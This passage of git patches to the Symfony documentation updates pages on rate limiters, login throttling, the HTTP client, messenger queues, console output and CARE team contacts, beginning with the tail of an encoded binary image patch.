zOY&kln<uG1&X;Iu$bQm{$uw<GMESEX%14vrLt7^GlLj(PgAaDOo(OW6d-1hgiFA6K
z^?gV2fg%B>U>DHbtWf<x$o{3fc{}-6BgqX3U%r@%c~R1s!)+^5^MyElYL-=yEe9uQ
zo?+yg_$@d0MCzODCsW%?+pTw269b!k!_Z18q}IFqGw{Y$w5!D*h3w*k)c02KAT3l0
zO25MM&^YWQuCOERd>Q9ZQ}?W-EXztV<AyV~NlWs&+l&5Xk{fny{Xe9|Z)?|NIE;t3
zq>VwU#%Y(f8<K75*E<#0i*>zW(o#e1M$?~fJ=CB6gw2RsbGj-A4%?z2O*FuguDn0w
zkBk+I)fJj6)$xJr07?L81(3I*lX5r_h8l*#j8db4&SP&ffF-58yky`Fz>&;{z;ra2
z0QM#;l{^Bco^JTRQjIt-Oc;vr<?RquBJZx(#mh+wyo)=q`|hpwqgZLmcw)%C!?o!}
z^(KRzmt(OmiVoR-O2rj*w%@esoO!O^b;c~!!$jDVhE{g&6niYs>pEvIFBPXFJC$_x
z+=}YQ+#qD4g|=db%)Q1X1$`IxGw$en7aQv!`o*BHD!1?X&o+HZ)kVhqs#@bstZPsk
z!IwqXD_Y=CBd1Q?ZOIg$53{d)Mxo%*gMp%EQ~5>3snOL`dcNZX;mJ{J&YjiH!CAFM
zvqK`v!y~;)c?K_sC=uH`Gj~o3MpnG%%UZi1dCJu5ZQkR_C{|yI@7uxcJVA`l7q{HX
z<gA=cst1mH631<Yq!8m7{;)D`b=zgHIlWrOnmdjwz@HKv%~*q#so1w!TWcGaG7cLh
z*2~u@A0wEBp6&jn-mj{>Id{QwtKO#nM3~uq7sGyWBj3D3583D|S&7NxnpI)cEA@?S
z5D6WVe)WfJEl=5Be1umHrZ7cR2V)tZb0H}LIL&uGdC3FXRbg!}AGTp+3G*iP)B64G
zT-BT#GgoUF{<}J${3*ofJ#{MfRC@DLw;~}dE}IeMX$rCH$`pL_fRQ$Tr!$2wbyl>j
z-bjHkt|?pJt5je>MG%lx$yxHom&zHhF7!VY!`(#kON25Ul2?r#Fg*!Rryc0{6*>8B
z+bb61;NJB)6B<jrb31l5;<e6;t^5#jZq9wUvemh$?vKb%f{!igU%Bc6U;v&X0pR&J
zDrjR6o*jdNdsV^sKeUS@01yC(Ool_0es5E-9EL5Z!WJ}vK%w3B0HE%e2m+Cj-)MTN
z>sE@}K(%nsYq0`XFo+C5cpZdgx~=luGX{Os4ne`MviV<Y!DCY~`<(zl3@p}yy=rC%
z+CB>(vq8!LrQ-nmt@=*>(l}{x%?n(~xu3StE-+QYwe}g+@EK)!Vb*SnJc=43=C%Y9
zTPJHYkyACA9|Cpg;%axh|C2K9HneJk@hHF3QxQdV8_Fs0*34@hu5=q}y=+<DQTIyH
zB`rd4*j)0XcWlI`^g7aqXq{v*$E9ksYrQT-cEMwCj-H#TRKDGFrKOKv+&y1ENB>p`
z+&c;Yk{3cQ<^@&B0&Cje<smwjuw+>w@E(B>2{NF(TbKMak_W2|&y<Sf@zRyvFSr|!
z^F9lA2!u?f>+*;6r0ae>hR|@|-wgnALm&bbjU!7!w1LD@<e0CMMcw=KpXV<J0CRR*
zedif!ODFe5X#+(`KQ#=2cq)=x*j2R9%@rTZ%azQjk9y}4Lw8L8z$y+v`rTxJPEHz;
z-L%l#e1A{xTWV~^G#bvX>d(0($}!A89X^HFx4;7k>O_Vo-F$wDR;n=Ym*4I)l#2VO
zl>Pu|W6g%ajIfuB;}S_Ab~yRpFqWfm$6D59fjDP}*EHW_@Yu9}d_4|h{Dy&bR3k0*
zZ&V^J^)iP^pxxVQFGB!CCNIcP?+_9EQSW}Kq%(0>?M)5HJ}o;k;4&CE90zcu#TV@Z
z&U%dA&%;k14Tf^Mb8!H+t{nO9PaO6Vpe5FFsTlz}m_o(n3QN3GRSgIJ4+bKWr14>d
z0M$(EKT`He8M-H+?l;{!D=^SW298+4lKl|yIv?22%!QNb)6Y<eQAmpI3X&2hsAb!#
zFSj53x+llR^8NE-@Z)-1n=L)=3$Rc!-(K=}p{w%T$7H|oHK=nm$UJ#`*a!0CZ+q1M
zz^04V7Y0y^mSXg6OR>(7h?ac-0LZTFUF>2QFQ=<V^39<ty<x)d{>|r-nO`hk=6rWS
sZe+aRi%1#x{%58u2%2JfFC4w~M@EZu!`^?Rw9b|g99k(euLlJD7hTW&ssI20

literal 0
HcmV?d00001

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 63e073a1e92..1d54faba331 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -28,22 +28,44 @@ Fixed Window Rate Limiter
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
 This is the simplest technique and it's based on setting a limit for a given
-interval of time. For example: 5,000 requests per hour or 3 login attempts
-every 15 minutes.
+interval of time (e.g. 5,000 requests per hour or 3 login attempts every 15
+minutes).
+
+In the diagram below, the limit is set to "5 tokens per hour". Each window
+starts at the first hit (i.e. 10:15, 11:30 and 12:30). As soon as there are
+5 hits (the blue squares) in a window, all others will be rejected (red
+squares).
+
+.. raw:: html
+
+    <object data="../_images/rate_limiter/fixed_window.svg" type="image/svg+xml"></object>
 
 Its main drawback is that resource usage is not evenly distributed in time and
-it can overload the server at the window edges. In the previous example, a user
-could make the 4,999 requests in the last minute of some hour and another 5,000
-requests during the first minute of the next hour, making 9,999 requests in
-total in two minutes and possibly overloading the server. These periods of
-excessive usage are called "bursts".
+it can overload the server at the window edges. In the previous example,
+there are 6 accepted requests between 11:00 and 12:00.
+
+This is more significant with bigger limits. For instance, with 5,000 requests
+per hour, a user could make the 4,999 requests in the last minute of some
+hour and another 5,000 requests during the first minute of the next hour,
+making 9,999 requests in total in two minutes and possibly overloading the
+server. These periods of excessive usage are called "bursts".
 
 Sliding Window Rate Limiter
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The sliding window algorithm is an alternative to the fixed window algorithm
-designed to reduce bursts. To do that, the rate limit is calculated based on
-the current window and the previous window.
+designed to reduce bursts. This is the same example as above, but then
+using a 1 hour window that slides over the timeline:
+
+.. raw:: html
+
+    <object data="../_images/rate_limiter/sliding_window.svg" type="image/svg+xml"></object>
+
+As you can see, this removes the edges of the window and would prevent the
+6th request at 11:45.
+
+To achieve this, the rate limit is approximated based on the current window and
+the previous window.
 
 For example: the limit is 5,000 requests per hour; a user made 4,000 requests
 the previous hour and 500 requests this hour. 15 minutes in to the current hour
@@ -66,6 +88,18 @@ continuously updating budget of resource usage. It roughly works like this:
 * If the bucket still contains tokens, the event is allowed; otherwise, it's denied;
 * If the bucket is at full capacity, new tokens are discarded.
 
+The below diagram shows a token bucket of size 4 that is filled with a rate
+of 1 token per 15 minutes:
+
+.. raw:: html
+
+    <object data="../_images/rate_limiter/token_bucket.svg" type="image/svg+xml"></object>
+
+This algorithm handles more complex back-off algorithm to manage bursts.
+For instance, it can allow a user to try a password 5 times and then only
+allow 1 every 15 minutes (unless the user waits 75 minutes and they will be
+allowed 5 tries again).
+
 Installation
 ------------
 

From dab721b1c22f3d6dbdc0bcdaed9252fa8fcfa450 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Fri, 29 Jan 2021 19:33:12 +0100
Subject: [PATCH 1794/7107] [Console] Update comments
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The info() method was introduced in Symfony 5.2. I updated comments that were probably copied from the success() method example.
---
 console/style.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/console/style.rst b/console/style.rst
index a8cdad20004..66db35011b1 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -331,12 +331,12 @@ Result Methods
     It's meant to be used once to display the final result of executing the given
     command, without showing the result as a successful or failed one::
 
-        // use simple strings for short success messages
+        // use simple strings for short info messages
         $io->info('Lorem ipsum dolor sit amet');
 
         // ...
 
-        // consider using arrays when displaying long success messages
+        // consider using arrays when displaying long info messages
         $io->info([
             'Lorem ipsum dolor sit amet',
             'Consectetur adipiscing elit',

From 5c64519c3e3e75abfa37fed52626f6a6d2c492e9 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 30 Jan 2021 15:56:52 +0100
Subject: [PATCH 1795/7107] Fixed image path

---
 rate_limiter.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 1d54faba331..4b6fc27d4ab 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -38,7 +38,7 @@ squares).
 
 .. raw:: html
 
-    <object data="../_images/rate_limiter/fixed_window.svg" type="image/svg+xml"></object>
+    <object data="_images/rate_limiter/fixed_window.svg" type="image/svg+xml"></object>
 
 Its main drawback is that resource usage is not evenly distributed in time and
 it can overload the server at the window edges. In the previous example,
@@ -59,7 +59,7 @@ using a 1 hour window that slides over the timeline:
 
 .. raw:: html
 
-    <object data="../_images/rate_limiter/sliding_window.svg" type="image/svg+xml"></object>
+    <object data="_images/rate_limiter/sliding_window.svg" type="image/svg+xml"></object>
 
 As you can see, this removes the edges of the window and would prevent the
 6th request at 11:45.
@@ -93,7 +93,7 @@ of 1 token per 15 minutes:
 
 .. raw:: html
 
-    <object data="../_images/rate_limiter/token_bucket.svg" type="image/svg+xml"></object>
+    <object data="_images/rate_limiter/token_bucket.svg" type="image/svg+xml"></object>
 
 This algorithm handles more complex back-off algorithm to manage bursts.
 For instance, it can allow a user to try a password 5 times and then only

From 78e5a5dc084f50ffad3a928798923d70f2693a18 Mon Sep 17 00:00:00 2001
From: wkania <57155526+wkania@users.noreply.github.com>
Date: Sun, 31 Jan 2021 13:59:10 +0100
Subject: [PATCH 1796/7107] [Validator] Use seealso instead of tip for File

In other constraints when there is a suggestion to use another constraint:
https://symfony.com/doc/4.4/reference/constraints/Unique.html
https://symfony.com/doc/4.4/reference/constraints/UniqueEntity.html
https://symfony.com/doc/4.4/reference/constraints/Collection.html
---
 reference/constraints/File.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 8c77fb008cb..a865349f913 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -11,7 +11,7 @@ Validates that a value is a valid "file", which can be one of the following:
 This constraint is commonly used in forms with the :doc:`FileType </reference/forms/types/file>`
 form field.
 
-.. tip::
+.. seealso::
 
     If the file you're validating is an image, try the :doc:`Image </reference/constraints/Image>`
     constraint.

From 891f771ca9bb5356ca4aea8a4a84b69a77124fd3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Dan=20Michael=20O=2E=20Hegg=C3=B8?=
 <Dan.Michael.Heggo@bibsent.no>
Date: Sun, 31 Jan 2021 17:43:45 +0100
Subject: [PATCH 1797/7107] [http_client] Fix default headers

---
 http_client.rst | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 91122c00961..c7f31ec40f6 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -511,9 +511,10 @@ requests and the specific headers for each request:
 
         # config/packages/framework.yaml
         framework:
-            http_client:
-                headers:
-                    'User-Agent': 'My Fancy App'
+            default_options:
+                http_client:
+                    headers:
+                        'User-Agent': 'My Fancy App'
 
     .. code-block:: xml
 
@@ -528,7 +529,9 @@ requests and the specific headers for each request:
 
             <framework:config>
                 <framework:http-client>
-                    <framework:header name="User-Agent">My Fancy App</framework:header>
+                    <framework:default-options>
+                        <framework:header name="User-Agent">My Fancy App</framework:header>
+                    </framework:default-options>
                 </framework-http-client>
             </framework:config>
         </container>
@@ -538,8 +541,10 @@ requests and the specific headers for each request:
         // config/packages/framework.php
         $container->loadFromExtension('framework', [
             'http_client' => [
-                'headers' => [
-                    'User-Agent' => 'My Fancy App',
+                'default_options' => [
+                    'headers' => [
+                        'User-Agent' => 'My Fancy App',
+                    ],
                 ],
             ],
         ]);

From 141a7234193c1887cec9aff680c8dce0bc455a46 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Thu, 21 Jan 2021 12:20:48 +0100
Subject: [PATCH 1798/7107] Update care team members

---
 contributing/code_of_conduct/care_team.rst | 27 ++++++++++++++++++----
 1 file changed, 23 insertions(+), 4 deletions(-)

diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst
index 8f32d5befd1..f0120fe7115 100644
--- a/contributing/code_of_conduct/care_team.rst
+++ b/contributing/code_of_conduct/care_team.rst
@@ -23,17 +23,36 @@ Here are all the members of the CARE team (in alphabetic order). You can contact
 any of them directly using the contact details below or you can also contact all
 of them at once by emailing **care@symfony.com**:
 
-* **Emilie Lorenzo**
+* **Timo Bakx**
 
-  * *E-mail*: emilie.lorenzo [at] symfony.com
-  * *Twitter*: `@EmilieLorenzo <https://twitter.com/EmilieLorenzo>`_
-  * *SymfonyConnect*: `emilielorenzo <https://connect.symfony.com/profile/emilielorenzo>`_
+  * *E-mail*: timobakx [at] gmail.com
+  * *Twitter*: `@TimoBakx <https://twitter.com/TimoBakx>`_
+  * *SymfonyConnect*: `timobakx <https://connect.symfony.com/profile/timobakx>`_
+  * *SymfonySlack*: `@Timo Bakx <https://symfony-devs.slack.com/team/U3FQ2GVJA>`_
+
+* **Zan Baldwin**
+
+  * *E-mail*: hello [at] zanbaldwin.com
+  * *Twitter*: `@ZanBaldwin <https://twitter.com/ZanBaldwin>`_
+  * *SymfonyConnect*: `zanbaldwin <https://connect.symfony.com/profile/zanbaldwin>`_
+
+* **Valentine Boineau**
+
+  * *E-mail*: valentine.boineau [at] gmail.com
+  * *Twitter*: `@BoineauV <https://twitter.com/BoineauV>`_
+
+* **Magali Milbergue**
+
+  * *E-mail*: magali.milbergue [at] gmail.com
+  * *Twitter*: `@magalimilbergue <https://twitter.com/magalimilbergue>`_
+  * *SymfonyConnect*: `magali_milbergue <https://connect.symfony.com/profile/magali_milbergue>`_
 
 * **Tobias Nyholm**
 
   * *E-mail*: tobias.nyholm [at] gmail.com
   * *Twitter*: `@tobiasnyholm <https://twitter.com/tobiasnyholm>`_
   * *SymfonyConnect*: `tobias <https://connect.symfony.com/profile/tobias>`_
+  * *SymfonySlack*: `@Tobias Nyholm <https://symfony-devs.slack.com/team/U3A9CNEDB>`_
 
 About the CARE Team
 -------------------

From 79a2112445af415940e317284b59572b3bad6e18 Mon Sep 17 00:00:00 2001
From: Albert Casademont <albertcasademont@gmail.com>
Date: Mon, 1 Feb 2021 17:24:47 +0100
Subject: [PATCH 1799/7107] Docs for the new SYMFONY_PHPUNIT_REQUIRE env
 variable

Code PR: https://github.com/symfony/symfony/pull/40059
---
 components/phpunit_bridge.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index dedb70c20d3..871b7035f9d 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -930,6 +930,18 @@ If you have installed the bridge through Composer, you can run it by calling e.g
     then set the ``SYMFONY_PHPUNIT_REMOVE`` env var to ``symfony/yaml``.
 
     It's also possible to set this env var in the ``phpunit.xml.dist`` file.
+    
+.. tip::
+
+    It is also possible to require additional packages that will be installed along
+    the rest of the needed PHPUnit packages using the ``SYMFONY_PHPUNIT_REQUIRE``
+    env variable. This is specially useful for installing PHPUnit plugins without
+    having to add them to your main ``composer.json`` file.
+
+.. versionadded:: 5.3
+
+    The ``SYMFONY_PHPUNIT_REQUIRE`` env variable was introduced in
+    Symfony 5.3.
 
 Code Coverage Listener
 ----------------------

From f1c43df622f32546b1d9f17ba97a32689438b8b0 Mon Sep 17 00:00:00 2001
From: Zan Baldwin <hello@zanbaldwin.com>
Date: Mon, 1 Feb 2021 20:38:36 +0100
Subject: [PATCH 1800/7107] Add Slack Link to CARE Team Member

---
 contributing/code_of_conduct/care_team.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst
index f0120fe7115..d740fcfbba4 100644
--- a/contributing/code_of_conduct/care_team.rst
+++ b/contributing/code_of_conduct/care_team.rst
@@ -35,6 +35,7 @@ of them at once by emailing **care@symfony.com**:
   * *E-mail*: hello [at] zanbaldwin.com
   * *Twitter*: `@ZanBaldwin <https://twitter.com/ZanBaldwin>`_
   * *SymfonyConnect*: `zanbaldwin <https://connect.symfony.com/profile/zanbaldwin>`_
+  * *SymfonySlack*: `@Zan <https://symfony-devs.slack.com/team/UBHGRU3NW>`_
 
 * **Valentine Boineau**
 

From 1bb5c085463299c25a10c1007e4d5a5bc443b7d6 Mon Sep 17 00:00:00 2001
From: Dale Nash <dalenashdn@gmail.com>
Date: Tue, 2 Feb 2021 10:30:23 +0000
Subject: [PATCH 1801/7107] Update conventions page to show correct function

---
 contributing/code/conventions.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/conventions.rst b/contributing/code/conventions.rst
index d2325f5fc8b..18ea420b841 100644
--- a/contributing/code/conventions.rst
+++ b/contributing/code/conventions.rst
@@ -167,7 +167,7 @@ A deprecation must also be triggered to help people with the migration
 
     trigger_deprecation('symfony/package-name', '5.1', 'The "%s" class is deprecated, use "%s" instead.', Deprecated::class, Replacement::class);
 
-When deprecating a whole class the ``trigger_error()`` call should be placed
+When deprecating a whole class the ``trigger_deprecation()`` call should be placed
 after the use declarations, like in this example from `ServiceRouterLoader`_::
 
     namespace Symfony\Component\Routing\Loader\DependencyInjection;

From c9f807259fc0f00ff6634e64bdd0eb7c859b0de2 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Tue, 2 Feb 2021 23:10:05 +0100
Subject: [PATCH 1802/7107] [Messenger] Replace comma with full stop

---
 components/messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index 157d3f79d6a..0772293eab1 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -56,7 +56,7 @@ Concepts
    which means they can tweak the envelope, by adding stamps to it or even
    replacing it, as well as interrupt the middleware chain. Middleware are called
    both when a message is originally dispatched and again later when a message
-   is received from a transport,
+   is received from a transport.
 
 **Envelope**:
    Messenger specific concept, it gives full flexibility inside the message bus,

From edb9b438bf2ae9ed91ddffff914d1be5d11706b3 Mon Sep 17 00:00:00 2001
From: James Hemery <james@yieldstudio.fr>
Date: Sat, 23 Jan 2021 01:47:38 +0100
Subject: [PATCH 1803/7107] [Notifier] Add SpotHit bridge

---
 notifier.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 7231080d47e..0e55317c31f 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -70,6 +70,7 @@ OvhCloud    ``symfony/ovh-cloud-notifier``    ``ovhcloud://APPLICATION_KEY:APPLI
 Sendinblue  ``symfony/sendinblue-notifier``   ``sendinblue://API_KEY@default?sender=PHONE``
 Sinch       ``symfony/sinch-notifier``        ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
 Smsapi      ``symfony/smsapi-notifier``       ``smsapi://TOKEN@default?from=FROM``
+SpotHit     ``symfony/spothit-notifier``      ``spothit://TOKEN@default?from=FROM``
 Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=FROM``
 ==========  ================================  ====================================================
 
@@ -83,8 +84,8 @@ Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=
 
 .. versionadded:: 5.3
 
-    The Iqsms, GatewayApi, Octopush, AllMySms and Clickatell integrations were
-    introduced in Symfony 5.3.
+    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell and SpotHit integrations
+    were introduced in Symfony 5.3.
 
 
 To enable a texter, add the correct DSN in your ``.env`` file and

From 77007c183940332c255b1a066d1058a960439994 Mon Sep 17 00:00:00 2001
From: David Buchmann <david.buchmann@liip.ch>
Date: Wed, 3 Feb 2021 09:11:30 +0100
Subject: [PATCH 1804/7107] message consume command --queue parameter

Feature introduced in https://github.com/symfony/symfony/pull/38973
---
 messenger.rst | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index edd43cd7881..32fab4e0a41 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -587,6 +587,29 @@ to handle messages in a priority order:
 The worker will always first look for messages waiting on ``async_priority_high``. If
 there are none, *then* it will consume messages from ``async_priority_low``.
 
+.. _messenger-limit-queues:
+
+Limit Consuming to Specific Queues
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Some transports (notably AMQP) have the concept of exchanges and queues. A Symfony
+transport is always bound to an exchange. By default, the worker consumes from all
+queues attached to the exchange of the specified transport. However, there are use
+cases to want a worker to only consume from specific queues.
+
+You can limit the worker to only process messages from specific queues:
+
+.. code-block:: terminal
+
+    $ php bin/console messenger:consume my_transport --queues=fasttrack
+
+To allow using the ``queues`` option, the receiver must implement the
+:class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\QueueReceiverInterface`.
+
+.. versionadded:: 5.3
+
+    Limiting the worker to specific queues was introduced in Symfony 5.3.
+
 .. _messenger-supervisor:
 
 Supervisor Configuration
@@ -950,6 +973,11 @@ it in the ``port`` parameter of the DSN (e.g. ``amqps://localhost?cacert=/etc/ss
     binding keys that are needed. That can be disabled, but some functionality
     may not work correctly (like delayed queues).
 
+.. note::
+
+    With Symfony 5.3 or newer, you can limit the consumer of an AMQP transport to only
+    process messages from some queues of an exchange. See :ref:`messenger-limit-queues`.
+
 The transport has a number of other options, including ways to configure
 the exchange, queues binding keys and more. See the documentation on
 :class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\Connection`.

From 17071880c4968fba91eaff73b7c73e52a6f49c9a Mon Sep 17 00:00:00 2001
From: wickedOne <wicliff.wolda@gmail.com>
Date: Thu, 4 Feb 2021 09:18:34 +0100
Subject: [PATCH 1805/7107] role_names instead of roles

corrected wrong attribute name

relates to symfony/symfony#40087
---
 security/expressions.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/security/expressions.rst b/security/expressions.rst
index 2013d6656d7..6ea9d56a5d6 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -42,6 +42,10 @@ Inside the expression, you have access to a number of variables:
     The array of roles the user has. This array includes any roles granted
     indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it
     does not include the ``IS_AUTHENTICATED_*`` attributes (see the functions below).
+``role_names``
+    A string representation of the roles the user has. This array includes any roles granted
+    indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it
+    does not include the ``IS_AUTHENTICATED_*`` attributes (see the functions below).
 ``object``
     The object (if any) that's passed as the second argument to ``isGranted()``.
 ``token``

From 88a52da1bf59fc71c5ac8b7366549d5c9862f5f2 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 2 Feb 2021 17:18:40 +0100
Subject: [PATCH 1806/7107] [RateLimiter][Security] Document login throttling
 and clarify DoS protection

---
 rate_limiter.rst |  11 +++++
 security.rst     | 109 +++++++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 120 insertions(+)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 4b6fc27d4ab..99617f20d59 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -16,6 +16,14 @@ Symfony uses these rate limiters in built-in features like "login throttling",
 which limits how many failed login attempts a user can make in a given period of
 time, but you can use them for your own features too.
 
+.. caution::
+
+    By definition, the Symfony rate limiters require Symfony to be booted
+    in a PHP process. This makes them not useful to protect against `DoS attacks`_.
+    Such protections must consume the least resources possible. Consider
+    using `Apache mod_ratelimit`_, `NGINX rate limiting`_ or proxies (like
+    AWS or Cloudflare) to prevent your server from being overwhelmed.
+
 .. _rate-limiter-policies:
 
 Rate Limiting Policies
@@ -314,5 +322,8 @@ Symfony application. If you prefer to change that, use the ``lock_factory`` and
                 # the value is the name of any lock defined in your application
                 lock_factory: 'app.rate_limiter_lock'
 
+.. _`DoS attacks`: https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html
+.. _`Apache mod_ratelimit`: https://httpd.apache.org/docs/current/mod/mod_ratelimit.html
+.. _`NGINX rate limiting`: https://www.nginx.com/blog/rate-limiting-nginx/
 .. _`token bucket algorithm`: https://en.wikipedia.org/wiki/Token_bucket
 .. _`PHP date relative formats`: https://www.php.net/datetime.formats.relative
diff --git a/security.rst b/security.rst
index de13f7db4f6..3b9341a07d6 100644
--- a/security.rst
+++ b/security.rst
@@ -469,6 +469,113 @@ here are a few common use-cases:
 * :doc:`/security/guard_authentication` – see this for the most detailed
   description of authenticators and how they work
 
+Limiting Login Attempts
+~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.2
+
+    Login throttling was introduced in Symfony 5.2.
+
+Symfony provides basic protection against `brute force login attacks`_ if
+you're using the :doc:`experimental authenticators </security/experimental_authenticators>`.
+You must enable this using the ``login_throttling`` setting:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            enable_authenticator_manager: true
+
+            firewalls:
+                # ...
+
+                main:
+                    # ...
+
+                    # by default, the feature allows 5 login attempts per minute
+                    login_throttling: null
+
+                    # configure the maximum login attempts (per minute)
+                    login_throttling:
+                        max_attempts: 3
+
+                    # use a custom rate limiter via its service ID
+                    login_throttling:
+                        limiter: app.my_login_rate_limiter
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config enable-authenticator-manager="true">
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- by default, the feature allows 5 login attempts per minute -->
+                    <login-throttling/>
+
+                    <!-- configure the maximum login attempts (per minute) -->
+                    <login-throttling max-attempts="3"/>
+
+                    <!-- use a custom rate limiter via its service ID -->
+                    <login-throttling limiter="app.my_login_rate_limiter"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        $container->loadFromExtension('security', [
+            'enable_authenticator_manager' => true,
+
+            'firewalls' => [
+                // ...
+
+                'main' => [
+                    // by default, the feature allows 5 login attempts per minute
+                    'login_throttling' => null,
+
+                    // configure the maximum login attempts (per minute)
+                    'login_throttling' => [
+                        'max_attempts' => 3,
+                    ],
+
+                    // use a custom rate limiter via its service ID
+                    'login_throttling' => [
+                        'limiter' => 'app.my_login_rate_limiter',
+                    ],
+                ],
+            ],
+        ]);
+
+By default, login attempts are limited on ``max_attempts`` (default: 5)
+failed requests for ``IP address + username`` and ``5 * max_attempts``
+failed requests for ``IP address``. The second limit protects against an
+attacker using multiple usernames from bypassing the first limit, without
+distrupting normal users on big networks (such as offices).
+
+If you need a more complex limiting algorithm, create a class that implements
+:class:`Symfony\\Component\\HttpFoundation\\RateLimiter\\RequestRateLimiterInterface`
+and set the ``limiter`` option to its service ID.
+
+.. tip::
+
+    Limiting the failed login attempts is only one basic protection against
+    brute force attacks. The `OWASP Brute Force Attacks`_ guidelines mention
+    several other protections that you should consider depending on the
+    level of protection required.
+
 .. _`security-authorization`:
 .. _denying-access-roles-and-other-authorization:
 
@@ -1257,5 +1364,7 @@ Authorization (Denying Access)
 
 .. _`FrameworkExtraBundle documentation`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
 .. _`HWIOAuthBundle`: https://github.com/hwi/HWIOAuthBundle
+.. _`OWASP Brute Force Attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks
+.. _`brute force login attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks
 .. _`Symfony Security screencast series`: https://symfonycasts.com/screencast/symfony-security
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html

From a85f968a3d22fae4657ef89f7cabbbea4043969c Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Thu, 28 Jan 2021 11:27:20 -0500
Subject: [PATCH 1807/7107] updating Encore docs for 1.0

---
 .doctor-rst.yaml                    |   1 +
 _build/redirection_map              |   1 +
 frontend.rst                        |   1 -
 frontend/encore/advanced-config.rst |   8 +-
 frontend/encore/copy-files.rst      |   2 +-
 frontend/encore/dev-server.rst      | 109 ++++++++++++++--------------
 frontend/encore/installation.rst    |   2 +-
 frontend/encore/shared-entry.rst    |  42 -----------
 frontend/encore/simple-example.rst  |  48 ++----------
 frontend/encore/split-chunks.rst    |  13 ++--
 frontend/encore/url-loader.rst      |  47 ++++--------
 frontend/encore/vuejs.rst           |   4 +-
 12 files changed, 92 insertions(+), 186 deletions(-)
 delete mode 100644 frontend/encore/shared-entry.rst

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index a568b014eab..61b56614a29 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -88,6 +88,7 @@ whitelist:
         - '.. versionadded:: 1.3' # MakerBundle
         - '.. versionadded:: 1.8' # MakerBundle
         - '.. versionadded:: 1.6' # Flex in setup/upgrade_minor.rst
+        - '.. versionadded:: 1.0.0' # Encore
